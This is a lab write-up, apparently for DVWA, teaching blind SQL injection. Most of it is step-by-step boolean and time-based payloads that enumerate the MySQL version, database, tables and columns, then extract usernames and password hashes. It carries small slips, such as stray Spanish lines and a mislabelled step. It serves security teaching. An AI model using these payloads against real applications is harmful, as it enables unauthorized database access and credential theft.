Blind SQLi
Blind SQL injection (Blind SQLi) is a type of attack where the attacker does not receive a clear error message or detailed information from the server, but can still infer or extract data through indirect responses.
- Boolean-based Blind: In this type of attack, the logic of true or false answers (True/False) is used, which are reflected in the behavior of the web page according to the result of the SQL query.
- Time-based blind: This type depends on the response time to infer information when there is no visible change in the output of the True/False condition.
Boolean-based Blind
In the first test we encounter an input that if you enter a valid user ID it tells you if it exists or not. With this logic, we have to create queries that return True/False to guess what information is in the database.
As we can see in the first test, that 1=1 returns True when there is equality and the opposite happens when we do 1=2.
We are going to see the different commands to be able to make a Blind manually, although for these cases it is advisable to use tools like SQLMAP to save time. (No screenshots will be posted due to bad code reading).
Obtenemos la versión de MySQL; en este caso, la versión del servidor es 5, por lo que la segunda consulta nos devuelve True:
1' AND substring(version(),1,1)=4# Version 4 False
1' AND substring(version(),1,1)=5# Version 5 True
To obtain the following parts of the version, we have to move the SUBSTRING, increasing the first parameter:
1' AND substring(version(),2,1)="."#
1' AND substring(version(),3,1)=5#
Next we need to know the tables and columns, so we need to know if it has subquery support:
1' AND (select 1)=1#
Once we have subquery, let's find out the size of the database name of the table that is using the SELECT, seeing that the database name is 4.
1' AND (SELECT LENGTH(database()))=1# False
1' AND (SELECT LENGTH(database()))=2# False
1' AND (SELECT LENGTH(database()))=3# False
1' AND (SELECT LENGTH(database()))=4# True
Having its size, we want to obtain the name of the database. To do this, we use MySQL's ASCII function to convert the SUBSTRING value to ASCII, which is easier to compare. We start at the first lowercase character, which is 97, and work our way up the value until we get a False. The first False is the character we are looking for.
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>97# True
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>98# True
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>99# True
1' AND (SELECT ASCII(SUBSTRING(database(), 1, 1)))>100# False
Therefore, we obtain that the first letter is "d". We continue with the next letter and, as in the version, we change the position of the substring and start the search.
1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>97# True
.....
1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>116# True
1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>117# True
1' AND (SELECT ASCII(SUBSTRING(database(), 2, 1)))>118# False
We already have our "v". Now we have to repeat these steps until all the characters have been completed. As in the previous SQL example, we now need to know how many tables it has and their names, so we start by counting how many tables the database has.
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=1# False
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=2# True
Now that we know how many tables we have, we can get their names. But first, we need to know the length of the names. To access the different tables, we do it with LIMIT according to the following example:
SELECT * FROM table_name LIMIT 0,1
// Seleccionamos solo la primera tabla
SELECT * FROM table_name LIMIT 1,1
// Seleccionamos solo la segunda tabla
SELECT * FROM table_name LIMIT 0,2
// Seleccionamos la primera y segunda tabla
SELECT * FROM table_name LIMIT 1,2
// Seleccionamos la segunda y tercera tabla
We repeat the counting process until we find the total number of characters:
1' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=1# False
....
1' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=9# True
1' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)=1# False
...
1' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)=5# True
To get the table name, we can use the ASCII and SUBSTRING functions from before or use LIKE, as we will see below:
1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE 'a%'# False
...
1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE 'u%'# True
We repeat with the following letters until completing the 5 that we have obtained in the previous step:
1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1) LIKE 'users'#
Let's get the number of columns the table has and then its length:
1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=1# False
..
1' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users')=8# True
Now that we know how many columns the "users" table has, let's determine the length of each column:
1' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)=1# False
...
1' AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1)=7# True
We will have to repeat this process for all columns, increasing the limit as we did before.
Once we have the columns and their lengths, we can start traversing them until we get the names. We can do this with the ASCII and SUBSTRING functions or with LIKE:
1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 3,1) LIKE 'u%'# True
...
1' AND (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 3,1) LIKE 'user%'# True
Now that we have the whole database structure, we have to extract the data. So we repeat the same procedure again:
- dvwa
- gestbook
- users
- user
- password
To obtain the total number of available users, we count the total number of rows:
1 ' AND (SELECT count(user) FROM users)=1# False
...
1 ' AND (SELECT count(user) FROM users)=5# True
We recover the size of the first user:
1' AND (SELECT LENGTH(user) FROM users LIMIT 1)=1# False
...
1' AND (SELECT LENGTH(user) FROM users LIMIT 1)=5# True
We recover the size of the first user:
1' AND (SELECT LENGTH(password) FROM users LIMIT 1)=1# False
...
1' AND (SELECT LENGTH(password) FROM users LIMIT 1)=32# True
To recover the rest of the users, we will play with LIMIT as we have been doing so far. Finally, all that remains is to obtain the data from these two fields.
We recover the user:
1' AND (SELECT user FROM users LIMIT 1) LIKE 'a%'# True
...
1' AND (SELECT user FROM users LIMIT 1) LIKE 'admin%'# True
We recover the password:
1' AND (SELECT password FROM users LIMIT 1) LIKE '5%'# True
...
1' AND (SELECT password FROM users LIMIT 1) LIKE '5f4dcc3b5aa765d61d8327deb882cf99%'# True
Time-based Blind
In DVWA we can solve the three levels with Boolean-based Blind, but let's make some small examples of how to do Time-based Blind. For this, we have to use the time and check by means of an IF if the delay time is the one marked in BENCHMARK is equal to see if they are True or False.
Obtain the database version:
1' UNION SELECT IF(SUBSTRING(version(),1,1)=4,BENCHMARK(5000000,MD5(CHAR(1))),null),null# False
...
1' UNION SELECT IF(SUBSTRING(version(),1,1)=5,BENCHMARK(5000000,MD5(CHAR(1))),null),null# True
Size of the database name:
1' UNION SELECT IF(((SELECT LENGTH(database()))=1),BENCHMARK(5000000,MD5(CHAR(1))),null),null# True
...
1' UNION SELECT IF(((SELECT LENGTH(database()))=4),BENCHMARK(5000000,MD5(CHAR(1))),null),null# True
We would have to repeat the whole process we have done with the other blind, but besides counting true or false, we have to wait the time we set for BENCHMARK. Therefore, it is a very time consuming and expensive process, and in these cases, it is preferable to use a tool such as SQLMAP if possible.
Medium-High
The medium and difficult exercises can be solved with sqlmap in exactly the same way as the previous ones or by hand by performing the whole process we have just seen. However, it is important to note that the time required to complete these attacks manually can be considerably long. Therefore, the use of automated tools such as SQLMAP may be a more efficient and effective option in these cases.